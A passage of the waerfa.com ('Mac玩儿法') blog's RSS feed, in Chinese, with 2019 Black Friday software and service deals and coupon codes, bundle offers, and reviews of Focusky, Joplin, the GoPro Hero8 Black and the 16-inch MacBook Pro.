    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/anydrop-review/feed + 0 +
    + + StackSocial 十三罗汉超级软件包,搭配优惠码还能再优惠! + https://www.waerfa.com/the-2020-limited-edition-mac-bundle-from-stacksocial + https://www.waerfa.com/the-2020-limited-edition-mac-bundle-from-stacksocial#respond + Tue, 03 Dec 2019 14:41:33 +0000 + + + + https://www.waerfa.com/?p=106352 + + 专业的数码优惠平台 StackSocial  在黑五/Cyber Monday 推出了由 13 款重量级软件组成的超级 Mac 软件包,这些大牌软件可以说是各自领域的翘楚级产品,所以小编给它取了一个简单易记的本地化名字:StackSocial 十三罗汉超级软件包。

    + +

    这款软件包的软件原价总和高达 1267.8 刀,软件包本身价格仅为 59.99 刀,优惠力度高达 95%,而且这还没完,在付费的最后一关,输入优惠码 CMSAVE40,还能再减 $23.99,实付仅需 $36

    + +

    这些软件是:

    + +

    StackSocial 十三罗汉超级软件包,搭配优惠码还能再优惠!插图

    + +

    如果你之前没有接触过这些软件,那么小编墙裂推荐你考虑这款 bundle,因为里面包含了 PD 15、PDF Expert、iMazing、XMind 8 Pro、Banktivity、TextExpander 这样的经典好软,具体介绍可以点击链接阅读我们的评测。

    + +

    最后 StackSocial 全站也在搞促销优惠,全部商品结账时使用优惠码 CMSAVE20 即可再降 20%,app+软件类产品使用优惠码 CMSAVE40 再降 40%,在线课程类商品使用优惠码 CMSAVE60 再降 60%

    + +

    StackSocial 十三罗汉超级软件包

    +

    本文发表自Mac玩儿法,转载请注明转自《StackSocial 十三罗汉超级软件包,搭配优惠码还能再优惠!

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/the-2020-limited-edition-mac-bundle-from-stacksocial/feed + 0 +
    + + 2019 黑色星期五狂欢「服务篇」 + https://www.waerfa.com/2019-black-friday-exclusive-service + https://www.waerfa.com/2019-black-friday-exclusive-service#respond + Sun, 01 Dec 2019 03:55:54 +0000 + + + + + + https://www.waerfa.com/?p=106327 + + 今年的双11异常的丰富多彩,我们除了介绍了这几天(各类黑五/Cyber Monday 一般都是到 12 月 5 之前有效)的软件类产品优惠信息外,还专门开辟一篇文章专门介绍一下互联网服务类的优惠信息:「软件优惠篇

    + +

    2019 黑色星期五狂欢「服务篇」插图

    + +

    腾讯云 双11 优惠仍在进行中 – 「直达

    + +

    2019 黑色星期五狂欢「服务篇」插图(1)

    + +

    Apple 2019 Holiday Gift Guide – 「直达

    + +

    Apple 在今年年底推出了 Holiday Gift Guide 2019 活动,包括最近上市的 AirPods Pro、16 寸 MacBook Pro 都会支持 12 期免息分期。

    + +

    Fanatical 全场 9 折 – 「直达

    + +

    2019 黑色星期五狂欢「服务篇」插图(2)

    + +

    Offcloud 8 折 – 「直达

    + +

    Bitport 1年订阅 $18.99 / 五年订阅 $59 – 「直达

    + +

    InoReader 买一年送半年 – 「输入我站优惠码即可享受此优惠:41816469」

    + +

    Vultr 新用户注册赠送 $50 预存款 – 「直达

    +

    本文发表自Mac玩儿法,转载请注明转自《2019 黑色星期五狂欢「服务篇」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/2019-black-friday-exclusive-service/feed + 0 +
    + + Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适 + https://www.waerfa.com/mac-all-star-kit-2019 + https://www.waerfa.com/mac-all-star-kit-2019#respond + Sat, 30 Nov 2019 14:44:10 +0000 + + + + https://www.waerfa.com/?p=106314 + + Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适插图

    + +

    softorino 今年又为大家带来了全明星阵容的 macOS app bundle,这次的阵容包括:WALTR 2,PDF Expert 2、Fantastical 2、DaisyDisk、Aurora HDR ’19 五款大牌软件,五款软件原价总和已高达 280 美金,这次的 bundle(kit)仅需 49.99 美金,折合人民币 351 元左右。这次活动截至到 12 月 2 日结束。

    + +

    前往 Mac All-Star Kit 官方购买页

    + +

    WALTR 2

    + +
    Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适插图(1)
    Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适插图(2)

    WALTR 2

    继续进化,这次不只是视频传输

    + +

    PDF Expert 2

    + +
    Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适插图(3)
    Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适插图(4)

    PDF Expert 2 for Mac

    顶级 PDF 文档编辑软件

    + +

    Fantastical 2

    + +
    Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适插图(5)
    Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适插图(6)

    Fantastical for Mac

    优雅的日历软件

    + +

    DaisyDisk

    + + + +

    Aurora HDR 2019

    + + + +

    前往 Mac All-Star Kit 官方购买页

    +

    本文发表自Mac玩儿法,转载请注明转自《Mac All-Star Kit 全明星阵容,5款大牌软件价格真合适

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/mac-all-star-kit-2019/feed + 0 +
    + + 2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」 + https://www.waerfa.com/2019-black-friday-exclusive + https://www.waerfa.com/2019-black-friday-exclusive#respond + Wed, 27 Nov 2019 17:57:42 +0000 + + + + https://www.waerfa.com/?p=106292 + + 双11过后,国外的黑色星期五,Cyber Monday 又快来了,各路商家也是在这个时间段卯足了力气来冲销量,本文还是按照以往传统为大家搜集了主要的重磅优惠信息。「服务优惠篇

    + +

    Setapp 年付会员 8 折

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图

    + +

    从 11 月 26 日到 12 月 2 日大约一周时间内,Setapp 年付价格打 8 折,将从 $119.88 降到 $95.99。

    + +

    Setapp 8折年付会员

    + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(1)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(2)

    SetApp

    虽然发车座位缩减,但依然是最好的软件集合订阅制平台

    + +
    + +

    1Password 注册新用户免费获得一年的家庭版订阅

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(3)

    + +

    注册 1Password 新用户获赠一年期家庭版订阅

    + +
    + +

    Parallels Desktop 15 for Mac 8折

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(4)

    + +

    每年 Parallels Desktop 都不会错过黑五的促销季,今年的 PD 15 for Mac 依然是 8 折,还有足足 7 天的购买时机。

    + +

    前往 Parallels Desktop 购买页面

    + +
    + +

    Apptorium 全场 6 折

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(5)

    + +

    NoteApp – 「直达链接

    + + + +

    FiveNotes – 「直达链接

    + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(8)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(9)

    FiveNotes

    精致小巧的速记软件

    + +

    ScreenFocus – 「直达链接

    + + + +

    Expressions – 「直达链接

    + + + +

    Workspaces – 「直达链接

    + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(14)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(15)

    Workspaces

    一键启用所有项目资源

    + +

    TeaCode – 「直达链接

    + + + +

    MacPaw 全场 7 折

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(18)

    + +

    MacPaw 主力软件从 11 月 29 日到 11 月 30 日开始 7 折的优惠活动。

    + +

    前往 MacPaw 购买页面

    + +
    + +

    DEVON 全场 75 折

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(19) +DEVON 科技的效率软件从 11 月 28 日到 12 月 3 日打 75 折,整个优惠活动从黑五一直持续到 Cyber Monday,他家的 DEVONthink 一直是数据管理软件里的佼佼者。

    + +

    购买 DEVONthink · 购买 DEVONthink Pro · 购买 DEVONagent Pro · 购买 DEVONsphere

    + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(20)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(21)

    DEVONthink 3

    这才是你的个人信息管理库

    + +
    + +

    GoodSync 65 折,优惠码:GSB35 – 「直达」 – 「下载试用

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(22)

    + +

    RoboForm 65 折 – 「直达」 – 「下载试用

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(23)

    + +

    VMware 最低 4 折

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(24)

    + +

    虚拟机大厂 VMware 从黑五到 Cyber Monday 都有不同的优惠计划,其中:

    + +

    黑五折扣(11.27-12.01)

    + + + +

    Cyber Monday(12.02-12.06)

    + + + + + +
    + +

    MacPlus Software 全场 55 折

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(27)

    + +

    MacPlus Software 在黑五全场 55 折,包括像 ActiveDock、Command-Tab Plus、MultiDock、DeskCover Pro 这些主力软件均在阵容内。

    + +

    购买 MaxSnap · 购买 DeskCover Pro · 购买其他软件

    + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(28)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(29)

    ActiveDock

    专门为 macOS 设计的增强型 Dock

    + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(30)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(31)

    Command-Tab Plus

    给 macOS 应用切换速度提高那么一丢丢

    + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(32)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(33)

    MultiDock

    给你的 Mac 加满 Dock

    + +
    + +

    Mac All-Star Kit 2019

    + +

    这款小型 bundle 包括了 WALTR 2、PDF Expert 2、Fantastical 2、DaisyDisk、Aurora HDR ’19 五款原价总和为 $280 的小 bundle 现在黑五价格仅为 $49.99。之前这几家开发商就经常在黑五做类似的活动。『直达链接

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(34)

    + +
    + +

    Ergonis Software 旗下 PopChar、Typinator、KeyCue 7 折,优惠券码:BlackFriday19T

    + +

    直达链接

    + + + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(37)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(38)

    KeyCue

    带你入门 Mac 快捷键世界的启蒙老师

    + +
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(39)
    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(40)

    Typinator

    文字快速输入领域悍将

    + +
    + +

    BeLight Software 全场 5 折

    + +

    2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」插图(41)

    + +

    直达链接

    + + + + + + + + + + + + + + + +

    Tunabelly Software 全场 5 折

    + + + +

    其他黑五优惠情况

    + + +

    本文发表自Mac玩儿法,转载请注明转自《2019 黑色星期五狂欢开始,硬货太多「软件篇12.01 最新信息」

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/2019-black-friday-exclusive/feed + 0 +
    + + Focusky:比 PPT 简单有趣的动画演示制作软件,送特别版 + https://www.waerfa.com/focusky-review + https://www.waerfa.com/focusky-review#comments + Mon, 25 Nov 2019 16:46:42 +0000 + + + + + + + https://www.waerfa.com/?p=106233 + + 说到制作 PPT 演示,大家都会想到 PowerPoint,从上学一直用到工作,然而大多数人就是做不好PPT,随意用用展示下内容还行,如果想要做出像样些、有创意些的,就要花费大量功夫了,还不一定能做好。

    + +

    Focusky:比 PPT 简单有趣的动画演示制作软件,送特别版插图

    + +

    当你也为使用 PowerPoint 制作 PPT 而焦头烂额的时候,是否想过找一款可以轻松掌握、又可以做出专业效果的软件?而 Focusky 动画演示大师,就是这么一款软件。

    + +

    Focusky 简介

    + + + +
    + + + +

    Focusky 界面简洁,易于操作,可轻松创作炫酷又高逼格的PPT演示,就像动画一样。Focusky 可以让你站在更高的起点上,并且使用时间久了,会让人觉得越用越好用、越来越能掌握,而PowerPoint则相反,越用越觉得深不可测。

    + +

    Focusky不但能制作动画PPT演示,由于它还能输出视频,所以还可用于制作微课(Focusky 已拥有庞大的教师用户群体)、动画视频、企业宣传片等。

    + +

    Focusky 可输出格式:在线上传云作品(可分享到微信)/EXE/视频/PDF/Flash网页/HTML5网页/MacApp/ZIP,其中输出EXE,在任何电脑无需安装任何软件,包括 Focusky 软件和 Powerpoint 软件(统统无需安装),即可打开演示,无需担心播放环境。

    + +

    Focusky:比 PPT 简单有趣的动画演示制作软件,送特别版插图(1)

    + +

    Focusky 演示形式

    + +

    Focusky 里,所有的演示内容,实际上都平铺在一张可无限缩放的画布里,有点类似于思维导图。

    + +

    Focusky:比 PPT 简单有趣的动画演示制作软件,送特别版插图(2)

    + +

    你可以把内容放在任何地方,需展示哪个内容/哪个位置,只需滚动鼠标滚轮,把该内容缩放在合适的大小,然后加入到帧(也就相当于PowerPoint里一张张的幻灯片)。演示时,从上一帧到下一帧是以缩放、旋转、移动的方式来切换场景,视觉冲击力非常强。

    + +
    如此演示形式的好处是,它可随时展示全局内容,以及细化查看局部内容,帮助观众建立清晰的思路。
    + +

    新手不会用怎么办?

    + +

    首先,Focusky 里内置了大量的各类模板,对于新手,可直接应用模板,替换内容即可。要真不会用,官网有各种教程

    + +

    官网下载地址(请电脑打开,手机上看格式会乱):www.focusky.com.cn,或电脑百度“Focusky”,也可以找到下载哦。

    + +

    福利来了

    + +

    前面说到它是一个免费软件,但大家可能会问,免费的有限制吗?其实免费版正常使用没问题的,但是若有更高级的版本岂不是更完美?

    + +

    这里给大家带来了特别版福利,比免费版高一个等级,可去水印、可去水印、可去水印。并且输出视频的清晰度比免费版高,以及拥有更多的素材。

    + +

    超级激活码:C887-BAAF-867D-2A40-78A8

    + +

    激活码有效期:即日起至2019年12月31日

    + +

    激活后特别版有效期:365天

    + +

    特别版如何升级:

    + +

    注意:请用电脑操作

    + +
      +
    1. 电脑打开官网,注册后,登录你的账号,然后如下图操作,进入“账号升级”后台激活升级。
    2. +
    + +

    Focusky:比 PPT 简单有趣的动画演示制作软件,送特别版插图(3)

    + +

    Focusky:比 PPT 简单有趣的动画演示制作软件,送特别版插图(4)

    + +
      +
    1. 升级后,打开 Focusky 软件,登录已升级的账号,就能获得特别版的使用权限。
    2. +
    + +

    这里需要注意,若升级前正使用账号登录 Focusky,升级后,软件上依然显示免费版,那么请先退出账号,重新登录即可。如下图所示

    + +

    Focusky:比 PPT 简单有趣的动画演示制作软件,送特别版插图(5)

    +

    本文发表自Mac玩儿法,转载请注明转自《Focusky:比 PPT 简单有趣的动画演示制作软件,送特别版

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/focusky-review/feed + 1 +
    + + Joplin:开源免费,Markdown写作,文章同步一应俱全 + https://www.waerfa.com/joplin-review + https://www.waerfa.com/joplin-review#comments + Sat, 23 Nov 2019 13:23:12 +0000 + + + + + + + https://www.waerfa.com/?p=106288 + + 如果你在找一款免费好用的 Markdown 软件,那么现在又多了一个新选择:Joplin,网路上已经出现过大大小小太多的 MD 软件,但大部分都没有运营很长时间就关门大吉了,而且质量参差不齐,稳定性很差,许多基于 Electron/Node.js开发,不如需要花费大量精力去原生app那样麻烦,优点是兼容平台广泛,一招鲜吃遍天。

    + +

    基础功能

    + +

    Joplin 入手门槛非常低,除了 Markdown 语法以及其他一些专业语法,在软件层面你无需太多经验就可以轻松上手。

    + +

    Joplin index

    + +

    Joplin 的界面同样自带多种深浅两色主题配色,深色主题科技感更强,左侧带有可隐藏的笔记本/笔记导航栏,但是不支持手势滑动调用,只能够用左上的工具栏手动触发。

    + +

    在纯写作状态(左侧的笔记本/笔记导航栏隐藏)界面,可以设置为纯编辑界面,纯预览界面以及“编辑+预览”双排界面(默认就用这个)。

    + +

    Joplin 的默认 MD 语法在编辑区上方设有专用的工具栏,提供了粗体、斜体、外链、引用、图片、列表、二级标题、待办标记等语法快速生成按钮,同时也可以快速插入隔离线,日期,标签,甚至可以快速导出到外部app。

    + +

    Joplin features

    + +

    扩展服务

    + +

    基本上 Joplin 的功能就是上述这些,可以满足你在 Mac 设备上的大多数编辑场景,当然它还有很多扩展本领,比如像上图所示:

    + +

    可选择键盘模式,语言、日期、PDF 导出尺寸设定

    + +

    支持数学表达式、mark语法、脚注、markdown emoj、Fountain 等语法格式

    + +

    支持通过本地系统、OneDrive、Dropbox、WebDAV 同步笔记

    + +

    Web Clipper

    + +

    Joplin 提供了基于 Firefox/Chrome 浏览器的文章快速 clip 插件,在 clip 的时候可以很快的将文章导入至 Joplin 软件内,可以选择只 clip 正文、整个网页、所选片段、截图、URL 等形式导入 Joplin,在 clip 时还可以选择所在的笔记本,添加新的标签。

    + +

    Joplin 还在 Linux、Win、Android、iOS 提供了客户端。

    +

    本文发表自Mac玩儿法,转载请注明转自《Joplin:开源免费,Markdown写作,文章同步一应俱全

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/joplin-review/feed + 1 +
    + + GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一) + https://www.waerfa.com/gopro-hero8-black-review-one + https://www.waerfa.com/gopro-hero8-black-review-one#respond + Tue, 19 Nov 2019 17:14:42 +0000 + + + + + + + https://www.waerfa.com/?p=106265 + + GoPro Hero8 Black 这款产品是 Mac玩儿法的首个在运动相机/无人机领域硬件产品的评测,其实小编一直想做这个领域的内容,今后我们也会多多扩展这些智能创新硬件消费产品的评测内容,为大家带来除了 Apple 生态圈外更多新鲜好玩的产品使用体验分享。

    + +

    今年的双11提前将这款在运动相机领域常年锁住一把交椅的 GoPro Hero8 Black 放入了购物车,但由于毕竟是新品,实际成交价格与标准价格相比并没有太多优惠,追求性价比可以考虑 Hero7,大概 2000 元即可拿下,但是本着买新不买旧,考虑评测内容的新鲜度焦虑,必须要入手最新一代的 GoPro。

    + +

    这次对 GoPro Hero8 Black 的评测分享,我打算多做几期,本篇文章只是一个初始分享,后面打算写至少两篇文章分别介绍其核心功能的使用记录与 GoPro 在 iOS 平台的 app 使用记录。

    + +

    外形与尺寸

    + +

    设备尺寸,长宽高分别是 66.3毫米-48.6毫米-28.4毫米,机身正反两面有防滑胶包裹,包围由金属材质覆盖,正面有一颗硕大的镜头保护玻璃,在 Hero8 上这个镜头保护玻璃是无法拆除的,据说还被强化了玻璃强度;后面是一颗 1200万像素的镜头,可拍摄 1080p 分辨率以及更高分辨率视频;下方设计了一个前置麦克风;左侧是祖传的参数显示屏,非工作状态下可显示拍摄模式参数,电量状态,存储状态(可剩余拍摄视频体积)等信息。

    + +

    机身不配合固定配件,用手裸握的感觉非常好,比日常用的智能手机要清,即使没有手柄等拍摄配件的支持,用手拿着拍摄,在 HyperSmooth 电子防抖技术的加持下,你依旧可以获得平稳的画面效果。

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图

    + +

    背部是布满整个反面区域的2英寸可触摸显示屏,设计感符合这个尺寸的 UX 交互思路,操控起来的反馈速度不是很跟手,有点儿像 Android 机的屏幕。通过官方套装自带的固定螺栓,可以将设备固定在各种手持,头戴、胸带、吸盘等支架上,而且支持过去针对老设备设计的拍摄配件。

    + +

    从背部看去,左侧按钮是开关机与模式选择的集成按钮,顶部是拍摄/拍照的按钮,GoPro 的这两个按钮给我的印象并不是很好,它很不好按,必须使用力气向下按压才能操控机器,可能是官方从勿触角度来设计的吧,防止用户不小心咋机器静止状态下勿碰开机按钮造成不必要的电量损耗或者是在拍摄过程中勿按造成没有及时记录美好画面。

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(1)

    + +

    机器使用不到 10 分钟,发热情况就比较严重了,这就是传说中的祖传发热吧!

    + +

    HERO8 与 GR2 相机,Apple Watch 3 42mm 摆在一起的体积对比效果,可以感受到这款运动相机是非常小巧的,其实本身理光 GR2 这款相机的尺寸已经达到了口袋相机的极限,然而在 Hero8 面前,它仍然显得有些“笨拙”。

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(2)

    + +

    接口与续航

    + +

    新款还大大简化了接口设计,取消了之前设备上的 mini HDMI 接口,USB-C 接口 与 micro SD 卡槽(官方店有 64GB,128GB 两种存储卡销售,建议 128GB)移动到了电池仓内。

    + +

    官方包装里仅提供一块原装1220mAh电池,电池充满电,直充速度快,感觉很快就能充满,应该不超过 40 分钟,具体时间小编还没有计算过,使用 USB-C 到 USB 设备上充电比较漫长,大约需要一个小时到一个半小时,连续拍摄视频 1 个小时左右就会耗干所有电量,所以当你在户外做连续拍摄,工作量比较大的场景下,建议准备 2 块或者更多的电池,并配备官方设计的充电盒,这种盒子能同时为两块电池充电。

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(3)

    + +

    Hero8 的电池舱门是可以近 90 度开启的,也可以拆卸,舱门去掉后可外接许多类型的专用套件,这些套件能够通过机身上的 USB-C 接口转换为 mini HDMI 或 3.5mm 音频接口,搭配冷靴,你就能把小型监视器、麦克风、补光灯等配件上去,目前小编还没有尝试这部份场景的使用。

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(4)

    + +

    Hero8 的 Mount 采用了固定在机身上可折叠的形式设计,之前的 7 或者更老版本设备都是固定在保护壳上的,所以在更换各种拍摄配件时需要从保护壳上拆装,现在你可以直接将拍摄配件与机身本体相连接,而且这个可折叠 Mount 在折叠伸展过程中有一定的阻尼感,显得非常的高级。

    + +

    拍摄视角

    + +

    HERO8 提供了四种拍摄视角,分别是 superview、wide、line(也称线性,在 wide 基础上去掉畸变效果)、narrow 四种尺寸,分别具有不同的焦距设定:

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(5)

    + +

    SuperView 超广角视角拍摄,16mm 等效焦距

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(6)

    + +

    可以看到在超广角视角下,画面宽度足够大气奢华,很容易拍出非常大片儿化的感觉,但画面四脚的形变还是很明显的,也就是鱼眼效果,这时如果你要考虑画面的客观性可以将视角切换到线性视角。SuperView 超广角最高支持 4K/30fps 的画面,帧率超出或选择 4K 4:3 模式,超广角自动隐藏。

    + +

    宽视角拍摄,16mm-34mm 等效焦距:

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(7)

    + +

    线性视角拍摄,19mm-39mm 等效焦距,支持 4K 拍摄了:

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(8)

    + +

    普通视角(Hero8 新增视角),27mm 等效焦距:

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(9)

    + +

    核心技术

    + +

    本次更新,Hero8 为大家带来了 HyperSmooth 电子防抖、TimeWrap 运动延时、图片 HDR 算法等技术的更新,虽然并没有更新图像处理器,也没有提供 4K-120fps、1080P-480fps 这些帧率更高的拍摄模式,但导出的视频清晰度已经足够我们日常使用了。

    + +

    官方视频 profile 默认有四种,分别是:

    + +
      +
    • 标准:1080p 分辨率,60fps
    • +
    • 活动:2.7K 分辨率,60fps
    • +
    • 慢动作:2.7K 分辨率,120 fps
    • +
    • 影片:4K 分辨率,30fps
    • +
    + +

    你可以在触摸屏上新建符合自己需求的 profile。

    + +

    关于 HyperSmooth

    + +

    HyperSmooth(异常平稳)是 GoPro 公司在 HERO7 Black 上推出的新一级别电子图像稳定 (EIS) 功能。借助 GP1 芯片和 2GB 内存可以让摄像机拍摄出堪比云台加持下的防抖稳定视频。

    + +

    这次更新 HyperSmooth 2.0 终于可以在所有分辨率和帧率下使用了,除了传统的开启和关闭外,还增加了高和增强两个级别。“高”级别与普通模式的视角相同,均是裁剪掉宽视野的10%,而增强级别将使用更密集的图像剪裁,但遗憾的是增强防抖并不支持 superview 视角。

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(10)

    + +

    更新的 TimeWarp 2.0 提供 2x、5x、10x、15x 和 30x 拍摄倍速给用户选择。

    + +

    预告

    + +

    在下一期针对 GoPro Hero8 的评测中,我们将对驾驶视角家庭生活场景拍摄静态拍照,TimeWarp 等功能进行更详细的分享,敬请期待:

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(11)

    + +

    GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)插图(12)

    +

    本文发表自Mac玩儿法,转载请注明转自《GoPro Hero8 Black 初上手体验,并不是运动时才能用的运动相机(一)

    ---------- +

    你还可以通过微博:@Mac玩儿法;微信公众号: @Mac玩儿法,或者到各大自媒体平台关注我们的同名账号(Mac玩儿法或玩儿法),获取最新鲜的应用产品内容推荐。

    ---------- +

    Mac玩儿法 - 应用提高设备生产力( http://www.waerfa.com )

    ]]>
    + https://www.waerfa.com/gopro-hero8-black-review-one/feed + 0 +
    + + Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作 + https://www.waerfa.com/new-16-inch-macbook-pro-released + https://www.waerfa.com/new-16-inch-macbook-pro-released#respond + Sat, 16 Nov 2019 04:03:37 +0000 + + + + https://www.waerfa.com/?p=106255 + + 本周苹果发布了全新的 16 英寸 MacBook Pro(后面简称 16 RMBP),这款特别适合开发者、摄影师、电影制作人、科研人员、音乐制作人以及所有依靠 Mac 创造杰作的专业用户去使用。16 RMBP 拥有绚丽的 16 英寸视网膜显示屏,最高可选配新的 8 核处理器、64GB 内存和 8GB 显存的新一代图形处理器,并采用全新的先进散热设计,使 MacBook Pro 的强大达到新的高度。

    + +

    16 RMBP 配备新的内置妙控键盘,重新设计的剪刀式结构和 1 毫米键程,使按键手感更令人满意,带来 Mac 笔记本电脑上更为出色的输入体验。此外,它还拥有六扬声器音响系统、持久的电池续航、触控栏、触控 ID、力度触控板和 Apple T2 安全芯片。

    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图

    + +
    “我们的专业用户表示,他们希望自己的下一台 MacBook Pro 能拥有更大的显示屏、疾速的性能表现、容量尽可能大的电池、手感极佳的笔记本电脑键盘、令人惊艳的扬声器和海量的存储容量。16 英寸 MacBook Pro 不仅带来了这一切,还有许多他们意想不到的精彩。”Apple Mac 及 iPad 产品市场营销高级总监 Tom Boger 表示,“它拥有绚丽的 16 英寸视网膜显示屏、最高可达 8 核的处理器、新一代图形处理器、更先进的散热设计、新的内置妙控键盘、六扬声器音响系统、100 瓦时的大容量电池,并最高可选配 8TB 存储设备和 64GB 高速内存。这台电脑,是 Mac 笔记本电脑的巅峰之作,只为满足专业用户的极致追求而生。”
    + +

    Mac 笔记本电脑史上最大尺寸的视网膜显示屏

    + +

    亮度高达 500 尼特、支持 P3 广色域的绚丽视网膜显示屏,深受专业用户的喜爱,而这次 16 英寸的尺寸,更使其成为历代 Mac 笔记本电脑上最大的视网膜显示屏。16 英寸视网膜显示屏的分辨率高达 3072×1920,像素密度提升至 226 ppi,带来将近 600 万颗像素,给屏幕前的你更沉浸其中的视觉体验。每块显示屏在出厂时都经过单独校准,以确保 Gamma、白点和原色的精准。

    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图(1)

    + +

    新的内置妙控键盘

    + +

    16 RMBP 配备新的内置妙控键盘,优化的剪刀式结构带来 1 毫米键程和稳定的按键手感,而 Apple 设计的穹顶式橡胶垫片,则能积蓄更多势能,让每次按键都响应灵敏。经过针对人因工程和按键设计所进行的广泛研究和用户调查,最终带来一款舒适、安静,手感令人满意的键盘。新的内置妙控键盘还提供实体的 Esc 键和呈倒 T 形排列的方向键,以及触控栏和触控 ID,让你在 Mac 笔记本电脑上的输入体验更为出色。

    + +

    Apple 推出 16 英寸 MacBook Pro,为专业用户带来 Mac 笔记本电脑的巅峰之作插图(2)

    + +

